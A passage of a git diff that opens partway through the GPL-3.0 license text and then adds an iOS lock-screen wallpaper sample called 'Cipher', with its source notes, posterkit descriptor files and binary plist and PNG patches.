indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/SOURCE.txt b/Resources/WallpaperSamples/Cipher by mightycooldude12/SOURCE.txt new file mode 100644 index 0000000..2e054a9 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/SOURCE.txt @@ -0,0 +1,12 @@ +Cipher + +Author: @mightycooldude12 +Description: Decoding... +Collection: SerStars/nugget-wallpapers +Source: https://github.com/SerStars/nugget-wallpapers/blob/a153aedfc1f17275828b99a810269e13a0229969/wallpapers/custom/Cipher.tendies +Collection commit: a153aedfc1f17275828b99a810269e13a0229969 +Original Cipher.tendies SHA-256: 196a1b8ad6e6c08662d494af06789ebc65b67f00eb38149d70bae2258d0b6ae9 +License: GPL-3.0; see LICENSE-GPL-3.0.txt + +The bundled directory is a safety-normalized extraction of the original +archive. __MACOSX, AppleDouble, and .DS_Store metadata were omitted. diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.provider.descriptor.identifier b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.provider.descriptor.identifier new file mode 100644 index 0000000..eb48838 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.provider.descriptor.identifier @@ -0,0 +1 @@ +7400 \ No newline at end of file diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.provider.identifierURL.suggestionMetadata.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.provider.identifierURL.suggestionMetadata.plist new file mode 100644 index 0000000000000000000000000000000000000000..f18b78ef370d9f48551389749eccd45b796dbb20 GIT binary patch literal 1281 zcmaJ=O>7%Q6rO#PrfE_)>kyy~w3Nn_7Ff#-ZqpJ0^-t28B-=P^CytY_9q&%;#p|7A zcO2@fz#@Jw94P9A1Bb{GDnde>5aNQk^j7f`!lf4^PMnI6I3Wa#e@G%!v8&aac{}gD z?|tu^l51N&kHxkmz&(3<_x2Ye>(uit<}5{sXH+b)%SAYI3lUa&i5lD=Lee`Mx;&_A z)3ia&MEB75efx4AV?2;Plfwi1?|=5W=g%jSnM-rI;wmxo5vOk3TcHDka(L*z;f07{ z6W`ZmSr|UcOl!@eW}0xS%fo)XT&6y!<^^Kg)N5oot?BZyZFh>*1ZabB0n$%4GA4C+ zE8Yv_;6MPu{-5OG2Od0lXyl=X4t z6PW*-v}6;fnxld&!E4?(m?t2I?M`WGYV{8GqP0z+m`AI&Mr%Y+YP49<<%52O)ooL& zuvZekR;jP8*;M1is201e+sqR^Z|6<#K$ejV!Jc4mfPx z<;c@xUI*LU0x( zu4~iiqR@#;Tp*Z}Wxe znb~4Tn~oS$p|hm^Vp0=XnAe<93#xXheGx{_$2)-{Dm$;sLy25riWqd4YMYvRPyY}3 zh0tPQX;IapRod{2!gep$#zqhl`Ic8!R4r|_+aO+}xvXx!7}77d0=QM9qlsI~H}7n| z>jZ=1aLHH@hsBJWB~@(cn$XSMe5ZM>bC-mcXDKHp;iOp>nEvNK>O)~Pf+FZ78bjkK zgJw_`X{d~9XdS(ZuA`giHu?sAhc?j``djLk!jd9QNb`~ z;1C|dhw*V7#i#HyIE63bReTxO@iqJweh**A@8cWz1N;&G7=MaC$6w*E@hyBCe~Y*9 TZ}|7lj6muRxze>=(-Zy&pR$>3 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.role.identifier b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.role.identifier new file mode 100644 index 0000000..b92284b --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.role.identifier @@ -0,0 +1 @@ +PRPosterRoleLockScreen \ No newline at end of file diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/providerInfo.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/providerInfo.plist new file mode 100644 index 0000000000000000000000000000000000000000..2caaa713274990c6a86e826a4c13a5bc5c3600fa GIT binary patch literal 386 zcmYc)$jK}&F)+Bo$i&RT%ErzWp;DGwRGgWg7pan1l$?ed zc4}pD6p)6R6Q+`!lUQ85P_Th%p>P9p18cm1Oty1=URq{)X;ESc&;>q;#U-J|sV<2n zsX(hPiStWHg3Kw&%uQ8xJT{eO)g-;R29`_GGO}_}5X15kb5kQA%+%sAzhIEoMY8e{ ze!>1=#{<9j_;Y3ZyS`cafhV$+?e8zHTXbvker5X)3}Dc}d`V7TK`{zqVP0ZxY6OIt zS{&{a47PZYf>MNEus_&0K*cJm@dCmDPNAM)$>5U25@3L2CKoSKQ^GF6z`-EMAjP1< zpvhpwV9wyl;KLBe5X=zC5YLdtkjqfT(8JKjFo9tv!xDyN3@aE`F|1+O%CL{&IKu^o lOAOZ;9x=RT_{{K);Xfk_qZFeo#Mw-Y5Sl?9N<%3|V*m{|dQSiV literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/RuntimeSnapshotMetadata-lock.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/RuntimeSnapshotMetadata-lock.plist new file mode 100644 index 0000000000000000000000000000000000000000..062b26bfa7e36fdb74323335b944e2b3c645229c GIT binary patch literal 417 zcmYc)$jK}&F)+Bo$i&RT%ErzWp;DGwRGgWg7pan1l$?4d%KXxj zMG7)_5+=nE+`8jOOA5!^Dm}9;6^4 z4GVY&c8D(E8F&GtMu%{)3Pzk=-yKiyn z$jMWuZ<;&~!;ce_Q>0j$o|&E7Kff?{aN(Behi(+DE2ctP6QPg}Df)sd%2ia4dyG@= z)3vS?ao=)#)FCr&sHo(wqF3}@;jS0bz#-F$^{5s1JSrLQ+Ji{ZoV&Am9HGK5=6dUa0o{3{6xP=o_u!ZMtPi?9lHxB)iY z0S_X04A0;NY`|OCgfH+7zQYgr3BM4~z#Qgr9Lus+prSe&IJ1YS}~p literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/.com.apple.posterkit.provider.contents.configurableOptions.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/.com.apple.posterkit.provider.contents.configurableOptions.plist new file mode 100644 index 0000000000000000000000000000000000000000..2c7b15a36556420be582f9bf6dd0d581b1f78dac GIT binary patch literal 729 zcmb7>&1(}u7{=ds`;oL-vrSs6scoZO#afNA6?$$feqc-+H)<^6ve})aBa@wFW}>X8 z#e--6gc3xG(u??ySgc3EKR`r8ym)Z)VW@`|oXa!AJUqW=-l_PEN|nofM6IuXU@$gZ zHl7e6Dfb>2ws1CSbSfE&`(=Yy9ur5&B;boJOHUNcTO=Uva@X`BK2#E%s}Q%39G#dv zHGd&@*YFyQ?Ts8u=%dNh*!Z}mXM91bL9}!eG}2{84k0hwDg%?Oo`UXHSVc@LL$f5K8Iptl`}46*dIa|3$;+&J)Ss` z-YA&a?xVKCzTJ~k(=!_#f)}yNoh^~~3+A#AcF>&8lndrsdkTA}XA{Pmv#E2b^N)HY zQw5CdN1L2cw}ZCyiJtGeuw6=8om-_WeadExKb5z+ORE9(YI#zl70RdzR#-!X15xS0 z5QcP!DqhT5`rP`RbuJYVSBZ24^%WNfOtX0@^FQ_||MG&RPyWsC4Yk6^n&0{!*<6eg z4>Ld + + + + + + diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/1 1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/1 1.png new file mode 100644 index 0000000000000000000000000000000000000000..0e7a2088c80e8dfc1ba1bfafd5aea5d0018ecc81 GIT binary patch literal 49738 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 z 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 